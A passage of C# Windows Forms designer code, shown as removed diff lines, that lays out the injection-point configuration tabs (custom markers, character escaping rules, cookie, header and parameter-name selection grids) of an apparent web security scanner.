new System.Windows.Forms.Padding(0); - this.BodyTypeFormatPluginXMLTab.Name = "BodyTypeFormatPluginXMLTab"; - this.BodyTypeFormatPluginXMLTab.Size = new System.Drawing.Size(688, 318); - this.BodyTypeFormatPluginXMLTab.TabIndex = 1; - this.BodyTypeFormatPluginXMLTab.Text = "Normalized XML from Body Data (for reference)"; - this.BodyTypeFormatPluginXMLTab.UseVisualStyleBackColor = true; - // - // FormatXMLTB - // - this.FormatXMLTB.BackColor = System.Drawing.SystemColors.Window; - this.FormatXMLTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.FormatXMLTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.FormatXMLTB.Location = new System.Drawing.Point(0, 0); - this.FormatXMLTB.Margin = new System.Windows.Forms.Padding(0); - this.FormatXMLTB.MaxLength = 2147483647; - this.FormatXMLTB.Multiline = true; - this.FormatXMLTB.Name = "FormatXMLTB"; - this.FormatXMLTB.ReadOnly = true; - this.FormatXMLTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.FormatXMLTB.Size = new System.Drawing.Size(688, 318); - this.FormatXMLTB.TabIndex = 0; - // - // BodyTypeCustomTab - // - this.BodyTypeCustomTab.Controls.Add(this.PlaceInjectionMarkerLL); - this.BodyTypeCustomTab.Controls.Add(this.label10); - this.BodyTypeCustomTab.Controls.Add(this.label7); - this.BodyTypeCustomTab.Controls.Add(this.label39); - this.BodyTypeCustomTab.Controls.Add(this.CustomInjectionPointsHighlightLbl); - this.BodyTypeCustomTab.Controls.Add(this.label37); - this.BodyTypeCustomTab.Controls.Add(this.CustomEndMarkerTB); - this.BodyTypeCustomTab.Controls.Add(this.textBox3); - this.BodyTypeCustomTab.Controls.Add(this.ASApplyCustomMarkersLL); - this.BodyTypeCustomTab.Controls.Add(this.CustomInjectionMarkerTabs); - this.BodyTypeCustomTab.Controls.Add(this.CustomStartMarkerTB); - this.BodyTypeCustomTab.Controls.Add(this.label38); - this.BodyTypeCustomTab.Location = new System.Drawing.Point(4, 4); - this.BodyTypeCustomTab.Name = "BodyTypeCustomTab"; - this.BodyTypeCustomTab.Size = new System.Drawing.Size(855, 344); - this.BodyTypeCustomTab.TabIndex = 2; - this.BodyTypeCustomTab.Text = "Custom"; - this.BodyTypeCustomTab.UseVisualStyleBackColor = true; - // - // PlaceInjectionMarkerLL - // - this.PlaceInjectionMarkerLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.PlaceInjectionMarkerLL.AutoSize = true; - this.PlaceInjectionMarkerLL.Location = new System.Drawing.Point(322, 90); - this.PlaceInjectionMarkerLL.Name = "PlaceInjectionMarkerLL"; - this.PlaceInjectionMarkerLL.Size = new System.Drawing.Size(194, 13); - this.PlaceInjectionMarkerLL.TabIndex = 10; - this.PlaceInjectionMarkerLL.TabStop = true; - this.PlaceInjectionMarkerLL.Text = "Place injection markers in selected area"; - this.PlaceInjectionMarkerLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.PlaceInjectionMarkerLL_LinkClicked); - // - // label10 - // - this.label10.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.label10.AutoSize = true; - this.label10.Location = new System.Drawing.Point(5, 90); - this.label10.Name = "label10"; - this.label10.Size = new System.Drawing.Size(313, 13); - this.label10.TabIndex = 9; - this.label10.Text = "To place markers select any section of the text below and click - "; - // - // label7 - // - this.label7.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.label7.AutoSize = true; - this.label7.ForeColor = System.Drawing.Color.Blue; - this.label7.Location = new System.Drawing.Point(651, 67); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(181, 13); - this.label7.TabIndex = 2; - this.label7.Text = "Number of Injection Points Detected:"; - // - // label39 - // - this.label39.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.label39.AutoSize = true; - this.label39.Location = new System.Drawing.Point(332, 67); - this.label39.Margin = new System.Windows.Forms.Padding(0); - this.label39.Name = "label39"; - this.label39.Size = new System.Drawing.Size(65, 13); - this.label39.TabIndex = 6; - this.label39.Text = "End Marker:"; - // - // CustomInjectionPointsHighlightLbl - // - this.CustomInjectionPointsHighlightLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.CustomInjectionPointsHighlightLbl.AutoSize = true; - this.CustomInjectionPointsHighlightLbl.ForeColor = System.Drawing.Color.Blue; - this.CustomInjectionPointsHighlightLbl.Location = new System.Drawing.Point(837, 67); - this.CustomInjectionPointsHighlightLbl.Name = "CustomInjectionPointsHighlightLbl"; - this.CustomInjectionPointsHighlightLbl.Size = new System.Drawing.Size(13, 13); - this.CustomInjectionPointsHighlightLbl.TabIndex = 1; - this.CustomInjectionPointsHighlightLbl.Text = "0"; - // - // label37 - // - this.label37.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.label37.AutoSize = true; - this.label37.Location = new System.Drawing.Point(5, 67); - this.label37.Name = "label37"; - this.label37.Size = new System.Drawing.Size(137, 13); - this.label37.TabIndex = 3; - this.label37.Text = "Set Injection Point Markers:"; - // - // CustomEndMarkerTB - // - this.CustomEndMarkerTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.CustomEndMarkerTB.Location = new System.Drawing.Point(401, 65); - this.CustomEndMarkerTB.Name = "CustomEndMarkerTB"; - this.CustomEndMarkerTB.Size = new System.Drawing.Size(100, 20); - this.CustomEndMarkerTB.TabIndex = 7; - this.CustomEndMarkerTB.Text = "<<--->>"; - // - // textBox3 - // - this.textBox3.BackColor = System.Drawing.Color.LightSkyBlue; - this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox3.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox3.Location = new System.Drawing.Point(0, 0); - this.textBox3.Margin = new System.Windows.Forms.Padding(0); - this.textBox3.Multiline = true; - this.textBox3.Name = "textBox3"; - this.textBox3.ReadOnly = true; - this.textBox3.Size = new System.Drawing.Size(855, 58); - this.textBox3.TabIndex = 8; - this.textBox3.TabStop = false; - this.textBox3.Text = resources.GetString("textBox3.Text"); - // - // ASApplyCustomMarkersLL - // - this.ASApplyCustomMarkersLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.ASApplyCustomMarkersLL.AutoSize = true; - this.ASApplyCustomMarkersLL.Location = new System.Drawing.Point(507, 68); - this.ASApplyCustomMarkersLL.Name = "ASApplyCustomMarkersLL"; - this.ASApplyCustomMarkersLL.Size = new System.Drawing.Size(33, 13); - this.ASApplyCustomMarkersLL.TabIndex = 2; - this.ASApplyCustomMarkersLL.TabStop = true; - this.ASApplyCustomMarkersLL.Text = "Apply"; - this.ASApplyCustomMarkersLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ASApplyCustomMarkersLL_LinkClicked); - // - // CustomInjectionMarkerTabs - // - this.CustomInjectionMarkerTabs.Controls.Add(this.CustomMarkerSelectionTab); - this.CustomInjectionMarkerTabs.Controls.Add(this.CustomMarkerDisplayTab); - this.CustomInjectionMarkerTabs.Controls.Add(this.CustomMarkerEscapingTab); - this.CustomInjectionMarkerTabs.Dock = System.Windows.Forms.DockStyle.Bottom; - this.CustomInjectionMarkerTabs.Location = new System.Drawing.Point(0, 108); - this.CustomInjectionMarkerTabs.Margin = new System.Windows.Forms.Padding(0); - this.CustomInjectionMarkerTabs.Name = "CustomInjectionMarkerTabs"; - this.CustomInjectionMarkerTabs.Padding = new System.Drawing.Point(0, 0); - this.CustomInjectionMarkerTabs.SelectedIndex = 0; - this.CustomInjectionMarkerTabs.Size = new System.Drawing.Size(855, 236); - this.CustomInjectionMarkerTabs.TabIndex = 1; - // - // CustomMarkerSelectionTab - // - this.CustomMarkerSelectionTab.Controls.Add(this.SetCustomInjectionPointsSTB); - this.CustomMarkerSelectionTab.Location = new System.Drawing.Point(4, 22); - this.CustomMarkerSelectionTab.Margin = new System.Windows.Forms.Padding(0); - this.CustomMarkerSelectionTab.Name = "CustomMarkerSelectionTab"; - this.CustomMarkerSelectionTab.Size = new System.Drawing.Size(847, 210); - this.CustomMarkerSelectionTab.TabIndex = 0; - this.CustomMarkerSelectionTab.Text = "Set Custom Injection Point Markers:"; - this.CustomMarkerSelectionTab.UseVisualStyleBackColor = true; - // - // SetCustomInjectionPointsSTB - // - this.SetCustomInjectionPointsSTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.SetCustomInjectionPointsSTB.Location = new System.Drawing.Point(0, 0); - this.SetCustomInjectionPointsSTB.Margin = new System.Windows.Forms.Padding(0); - this.SetCustomInjectionPointsSTB.Name = "SetCustomInjectionPointsSTB"; - this.SetCustomInjectionPointsSTB.ReadOnly = false; - this.SetCustomInjectionPointsSTB.Size = new System.Drawing.Size(847, 210); - this.SetCustomInjectionPointsSTB.TabIndex = 0; - // - // CustomMarkerDisplayTab - // - this.CustomMarkerDisplayTab.Controls.Add(this.HighlightCustomInjectionPointsRTB); - this.CustomMarkerDisplayTab.Location = new System.Drawing.Point(4, 22); - this.CustomMarkerDisplayTab.Margin = new System.Windows.Forms.Padding(0); - this.CustomMarkerDisplayTab.Name = "CustomMarkerDisplayTab"; - this.CustomMarkerDisplayTab.Size = new System.Drawing.Size(847, 210); - this.CustomMarkerDisplayTab.TabIndex = 1; - this.CustomMarkerDisplayTab.Text = "View Sections of Body Selected for Injection:"; - this.CustomMarkerDisplayTab.UseVisualStyleBackColor = true; - // - // HighlightCustomInjectionPointsRTB - // - this.HighlightCustomInjectionPointsRTB.BackColor = System.Drawing.Color.White; - this.HighlightCustomInjectionPointsRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.HighlightCustomInjectionPointsRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.HighlightCustomInjectionPointsRTB.Location = new System.Drawing.Point(0, 0); - this.HighlightCustomInjectionPointsRTB.Margin = new System.Windows.Forms.Padding(0); - this.HighlightCustomInjectionPointsRTB.Name = "HighlightCustomInjectionPointsRTB"; - this.HighlightCustomInjectionPointsRTB.ReadOnly = true; - this.HighlightCustomInjectionPointsRTB.Size = new System.Drawing.Size(847, 210); - this.HighlightCustomInjectionPointsRTB.TabIndex = 0; - this.HighlightCustomInjectionPointsRTB.Text = ""; - // - // CustomMarkerEscapingTab - // - this.CustomMarkerEscapingTab.Controls.Add(this.CharacterEscapingStatusTB); - this.CustomMarkerEscapingTab.Controls.Add(this.label9); - this.CustomMarkerEscapingTab.Controls.Add(this.label8); - this.CustomMarkerEscapingTab.Controls.Add(this.label6); - this.CustomMarkerEscapingTab.Controls.Add(this.label1); - this.CustomMarkerEscapingTab.Controls.Add(this.textBox12); - this.CustomMarkerEscapingTab.Controls.Add(this.EncodedCharacterTB); - this.CustomMarkerEscapingTab.Controls.Add(this.RawCharacterTB); - this.CustomMarkerEscapingTab.Controls.Add(this.AddToEscapeRuleBtn); - this.CustomMarkerEscapingTab.Controls.Add(this.CharacterEscapingGrid); - this.CustomMarkerEscapingTab.Location = new System.Drawing.Point(4, 22); - this.CustomMarkerEscapingTab.Margin = new System.Windows.Forms.Padding(0); - this.CustomMarkerEscapingTab.Name = "CustomMarkerEscapingTab"; - this.CustomMarkerEscapingTab.Size = new System.Drawing.Size(847, 210); - this.CustomMarkerEscapingTab.TabIndex = 2; - this.CustomMarkerEscapingTab.Text = "Set Character Escaping"; - this.CustomMarkerEscapingTab.UseVisualStyleBackColor = true; - // - // CharacterEscapingStatusTB - // - this.CharacterEscapingStatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.CharacterEscapingStatusTB.BackColor = System.Drawing.Color.Red; - this.CharacterEscapingStatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.CharacterEscapingStatusTB.ForeColor = System.Drawing.Color.Black; - this.CharacterEscapingStatusTB.Location = new System.Drawing.Point(11, 181); - this.CharacterEscapingStatusTB.Multiline = true; - this.CharacterEscapingStatusTB.Name = "CharacterEscapingStatusTB"; - this.CharacterEscapingStatusTB.Size = new System.Drawing.Size(538, 17); - this.CharacterEscapingStatusTB.TabIndex = 15; - this.CharacterEscapingStatusTB.TabStop = false; - this.CharacterEscapingStatusTB.Visible = false; - // - // label9 - // - this.label9.AutoSize = true; - this.label9.Location = new System.Drawing.Point(12, 156); - this.label9.Name = "label9"; - this.label9.Size = new System.Drawing.Size(523, 13); - this.label9.TabIndex = 14; - this.label9.Text = "You can delete or edit a rule by doing a right-click on the rule and selecting th" + - "e required option from the menu."; - // - // label8 - // - this.label8.AutoSize = true; - this.label8.Location = new System.Drawing.Point(12, 92); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(175, 13); - this.label8.TabIndex = 12; - this.label8.Text = "Add a new character escaping rule:"; - // - // label6 - // - this.label6.AutoSize = true; - this.label6.Location = new System.Drawing.Point(191, 119); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(102, 13); - this.label6.TabIndex = 11; - this.label6.Text = "Encoded Character:"; - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(12, 120); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(81, 13); - this.label1.TabIndex = 10; - this.label1.Text = "Raw Character:"; - // - // textBox12 - // - this.textBox12.BackColor = System.Drawing.Color.LightSkyBlue; - this.textBox12.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox12.Location = new System.Drawing.Point(0, 0); - this.textBox12.Margin = new System.Windows.Forms.Padding(0); - this.textBox12.Multiline = true; - this.textBox12.Name = "textBox12"; - this.textBox12.ReadOnly = true; - this.textBox12.Size = new System.Drawing.Size(577, 80); - this.textBox12.TabIndex = 9; - this.textBox12.TabStop = false; - this.textBox12.Text = resources.GetString("textBox12.Text"); - // - // EncodedCharacterTB - // - this.EncodedCharacterTB.Location = new System.Drawing.Point(299, 117); - this.EncodedCharacterTB.Name = "EncodedCharacterTB"; - this.EncodedCharacterTB.Size = new System.Drawing.Size(100, 20); - this.EncodedCharacterTB.TabIndex = 4; - // - // RawCharacterTB - // - this.RawCharacterTB.Location = new System.Drawing.Point(99, 117); - this.RawCharacterTB.Name = "RawCharacterTB"; - this.RawCharacterTB.Size = new System.Drawing.Size(76, 20); - this.RawCharacterTB.TabIndex = 3; - // - // AddToEscapeRuleBtn - // - this.AddToEscapeRuleBtn.Location = new System.Drawing.Point(418, 114); - this.AddToEscapeRuleBtn.Name = "AddToEscapeRuleBtn"; - this.AddToEscapeRuleBtn.Size = new System.Drawing.Size(74, 23); - this.AddToEscapeRuleBtn.TabIndex = 2; - this.AddToEscapeRuleBtn.Text = "Add to list"; - this.AddToEscapeRuleBtn.UseVisualStyleBackColor = true; - this.AddToEscapeRuleBtn.Click += new System.EventHandler(this.AddToEscapeRuleBtn_Click); - // - // CharacterEscapingGrid - // - this.CharacterEscapingGrid.AllowUserToAddRows = false; - this.CharacterEscapingGrid.AllowUserToDeleteRows = false; - this.CharacterEscapingGrid.AllowUserToResizeRows = false; - this.CharacterEscapingGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.CharacterEscapingGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; - this.CharacterEscapingGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.CharacterEscapingGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.EscapingSelectColumn, - this.RawCharacterColumn, - this.ArrowColumn, - this.EncodedCharacterColumn}); - this.CharacterEscapingGrid.ContextMenuStrip = this.CharacterEscapingMenu; - this.CharacterEscapingGrid.Dock = System.Windows.Forms.DockStyle.Right; - this.CharacterEscapingGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.CharacterEscapingGrid.GridColor = System.Drawing.Color.White; - this.CharacterEscapingGrid.Location = new System.Drawing.Point(577, 0); - this.CharacterEscapingGrid.Margin = new System.Windows.Forms.Padding(0); - this.CharacterEscapingGrid.MultiSelect = false; - this.CharacterEscapingGrid.Name = "CharacterEscapingGrid"; - this.CharacterEscapingGrid.RowHeadersVisible = false; - this.CharacterEscapingGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.CharacterEscapingGrid.Size = new System.Drawing.Size(270, 210); - this.CharacterEscapingGrid.TabIndex = 1; - this.CharacterEscapingGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.CharacterEscapingGrid_CellClick); - // - // EscapingSelectColumn - // - this.EscapingSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.EscapingSelectColumn.HeaderText = "Use Rule"; - this.EscapingSelectColumn.MinimumWidth = 40; - this.EscapingSelectColumn.Name = "EscapingSelectColumn"; - this.EscapingSelectColumn.Width = 40; - // - // RawCharacterColumn - // - dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.RawCharacterColumn.DefaultCellStyle = dataGridViewCellStyle9; - this.RawCharacterColumn.FillWeight = 70F; - this.RawCharacterColumn.HeaderText = "Raw Character"; - this.RawCharacterColumn.Name = "RawCharacterColumn"; - this.RawCharacterColumn.ReadOnly = true; - this.RawCharacterColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - this.RawCharacterColumn.Width = 70; - // - // ArrowColumn - // - this.ArrowColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - dataGridViewCellStyle10.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.ArrowColumn.DefaultCellStyle = dataGridViewCellStyle10; - this.ArrowColumn.HeaderText = ""; - this.ArrowColumn.MinimumWidth = 30; - this.ArrowColumn.Name = "ArrowColumn"; - this.ArrowColumn.Width = 30; - // - // EncodedCharacterColumn - // - dataGridViewCellStyle11.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.EncodedCharacterColumn.DefaultCellStyle = dataGridViewCellStyle11; - this.EncodedCharacterColumn.FillWeight = 130F; - this.EncodedCharacterColumn.HeaderText = "Encoded Character"; - this.EncodedCharacterColumn.Name = "EncodedCharacterColumn"; - this.EncodedCharacterColumn.Width = 130; - // - // CharacterEscapingMenu - // - this.CharacterEscapingMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.EditRuleToolStripMenuItem, - this.DeleteRuleToolStripMenuItem}); - this.CharacterEscapingMenu.Name = "CharacterEscapingMenu"; - this.CharacterEscapingMenu.Size = new System.Drawing.Size(134, 48); - this.CharacterEscapingMenu.Opening += new System.ComponentModel.CancelEventHandler(this.CharacterEscapingMenu_Opening); - // - // EditRuleToolStripMenuItem - // - this.EditRuleToolStripMenuItem.Name = "EditRuleToolStripMenuItem"; - this.EditRuleToolStripMenuItem.Size = new System.Drawing.Size(133, 22); - this.EditRuleToolStripMenuItem.Text = "Edit Rule"; - this.EditRuleToolStripMenuItem.Click += new System.EventHandler(this.EditRuleToolStripMenuItem_Click); - // - // DeleteRuleToolStripMenuItem - // - this.DeleteRuleToolStripMenuItem.Name = "DeleteRuleToolStripMenuItem"; - this.DeleteRuleToolStripMenuItem.Size = new System.Drawing.Size(133, 22); - this.DeleteRuleToolStripMenuItem.Text = "Delete Rule"; - this.DeleteRuleToolStripMenuItem.Click += new System.EventHandler(this.DeleteRuleToolStripMenuItem_Click); - // - // CustomStartMarkerTB - // - this.CustomStartMarkerTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.CustomStartMarkerTB.Location = new System.Drawing.Point(217, 65); - this.CustomStartMarkerTB.Name = "CustomStartMarkerTB"; - this.CustomStartMarkerTB.Size = new System.Drawing.Size(100, 20); - this.CustomStartMarkerTB.TabIndex = 5; - this.CustomStartMarkerTB.Text = "<<+++>>"; - // - // label38 - // - this.label38.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.label38.AutoSize = true; - this.label38.Location = new System.Drawing.Point(146, 68); - this.label38.Margin = new System.Windows.Forms.Padding(0); - this.label38.Name = "label38"; - this.label38.Size = new System.Drawing.Size(68, 13); - this.label38.TabIndex = 4; - this.label38.Text = "Start Marker:"; - // - // CookieTab - // - this.CookieTab.Controls.Add(this.ScanCookieGrid); - this.CookieTab.Location = new System.Drawing.Point(4, 22); - this.CookieTab.Margin = new System.Windows.Forms.Padding(0); - this.CookieTab.Name = "CookieTab"; - this.CookieTab.Size = new System.Drawing.Size(863, 394); - this.CookieTab.TabIndex = 3; - this.CookieTab.Text = "Cookie"; - this.CookieTab.UseVisualStyleBackColor = true; - // - // ScanCookieGrid - // - this.ScanCookieGrid.AllowUserToAddRows = false; - this.ScanCookieGrid.AllowUserToDeleteRows = false; - this.ScanCookieGrid.AllowUserToResizeRows = false; - this.ScanCookieGrid.BackgroundColor = System.Drawing.Color.White; - this.ScanCookieGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanCookieGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ScanCookieGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ASRequestCookieSelectColumn, - this.ASRequestCookieNameColumn, - this.ASRequestCookieValueColumn}); - this.ScanCookieGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanCookieGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ScanCookieGrid.GridColor = System.Drawing.Color.White; - this.ScanCookieGrid.Location = new System.Drawing.Point(0, 0); - this.ScanCookieGrid.Margin = new System.Windows.Forms.Padding(0); - this.ScanCookieGrid.Name = "ScanCookieGrid"; - this.ScanCookieGrid.RowHeadersVisible = false; - this.ScanCookieGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanCookieGrid.Size = new System.Drawing.Size(863, 394); - this.ScanCookieGrid.TabIndex = 2; - this.ScanCookieGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanCookieGrid_CellClick); - // - // ASRequestCookieSelectColumn - // - this.ASRequestCookieSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ASRequestCookieSelectColumn.HeaderText = "INJECT"; - this.ASRequestCookieSelectColumn.Name = "ASRequestCookieSelectColumn"; - this.ASRequestCookieSelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.ASRequestCookieSelectColumn.Width = 55; - // - // ASRequestCookieNameColumn - // - this.ASRequestCookieNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestCookieNameColumn.HeaderText = "PARAMETER NAME"; - this.ASRequestCookieNameColumn.Name = "ASRequestCookieNameColumn"; - this.ASRequestCookieNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASRequestCookieValueColumn - // - this.ASRequestCookieValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestCookieValueColumn.HeaderText = "PARAMETER VALUE"; - this.ASRequestCookieValueColumn.Name = "ASRequestCookieValueColumn"; - this.ASRequestCookieValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // HeadersTab - // - this.HeadersTab.Controls.Add(this.ScanHeadersGrid); - this.HeadersTab.Location = new System.Drawing.Point(4, 22); - this.HeadersTab.Margin = new System.Windows.Forms.Padding(0); - this.HeadersTab.Name = "HeadersTab"; - this.HeadersTab.Size = new System.Drawing.Size(863, 394); - this.HeadersTab.TabIndex = 4; - this.HeadersTab.Text = "Headers"; - this.HeadersTab.UseVisualStyleBackColor = true; - // - // ScanHeadersGrid - // - this.ScanHeadersGrid.AllowUserToAddRows = false; - this.ScanHeadersGrid.AllowUserToDeleteRows = false; - this.ScanHeadersGrid.AllowUserToResizeRows = false; - this.ScanHeadersGrid.BackgroundColor = System.Drawing.Color.White; - this.ScanHeadersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanHeadersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ScanHeadersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ASRequestHeadersSelectColumn, - this.ASRequestHeadersNameColumn, - this.ASRequestHeadersValueColumn}); - this.ScanHeadersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanHeadersGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ScanHeadersGrid.GridColor = System.Drawing.Color.White; - this.ScanHeadersGrid.Location = new System.Drawing.Point(0, 0); - this.ScanHeadersGrid.Margin = new System.Windows.Forms.Padding(0); - this.ScanHeadersGrid.Name = "ScanHeadersGrid"; - this.ScanHeadersGrid.RowHeadersVisible = false; - this.ScanHeadersGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanHeadersGrid.Size = new System.Drawing.Size(863, 394); - this.ScanHeadersGrid.TabIndex = 3; - this.ScanHeadersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanHeadersGrid_CellClick); - // - // ASRequestHeadersSelectColumn - // - this.ASRequestHeadersSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ASRequestHeadersSelectColumn.HeaderText = "INJECT"; - this.ASRequestHeadersSelectColumn.Name = "ASRequestHeadersSelectColumn"; - this.ASRequestHeadersSelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.ASRequestHeadersSelectColumn.Width = 55; - // - // ASRequestHeadersNameColumn - // - this.ASRequestHeadersNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestHeadersNameColumn.HeaderText = "PARAMETER NAME"; - this.ASRequestHeadersNameColumn.Name = "ASRequestHeadersNameColumn"; - this.ASRequestHeadersNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASRequestHeadersValueColumn - // - this.ASRequestHeadersValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestHeadersValueColumn.HeaderText = "PARAMETER VALUE"; - this.ASRequestHeadersValueColumn.Name = "ASRequestHeadersValueColumn"; - this.ASRequestHeadersValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ParameterNamesTab - // - this.ParameterNamesTab.Controls.Add(this.textBox1); - this.ParameterNamesTab.Controls.Add(this.ScanHeadersParameterNameCB); - this.ParameterNamesTab.Controls.Add(this.ScanCookieParameterNameCB); - this.ParameterNamesTab.Controls.Add(this.ScanBodyParameterNameCB); - this.ParameterNamesTab.Controls.Add(this.ScanQueryParameterNameCB); - this.ParameterNamesTab.Location = new System.Drawing.Point(4, 22); - this.ParameterNamesTab.Margin = new System.Windows.Forms.Padding(0); - this.ParameterNamesTab.Name = "ParameterNamesTab"; - this.ParameterNamesTab.Size = new System.Drawing.Size(863, 394); - this.ParameterNamesTab.TabIndex = 5; - this.ParameterNamesTab.Text = "Names"; - this.ParameterNamesTab.UseVisualStyleBackColor = true; - // - // textBox1 - // - this.textBox1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox1.BackColor = System.Drawing.Color.White; - this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox1.Location = new System.Drawing.Point(7, 7); - this.textBox1.Multiline = true; - this.textBox1.Name = "textBox1"; - this.textBox1.ReadOnly = true; - this.textBox1.Size = new System.Drawing.Size(849, 68); - this.textBox1.TabIndex = 5; - this.textBox1.Text = resources.GetString("textBox1.Text"); - // - // ScanHeadersParameterNameCB - // - this.ScanHeadersParameterNameCB.AutoSize = true; - this.ScanHeadersParameterNameCB.Location = new System.Drawing.Point(20, 156); - this.ScanHeadersParameterNameCB.Name = "ScanHeadersParameterNameCB"; - this.ScanHeadersParameterNameCB.Size = new System.Drawing.Size(148, 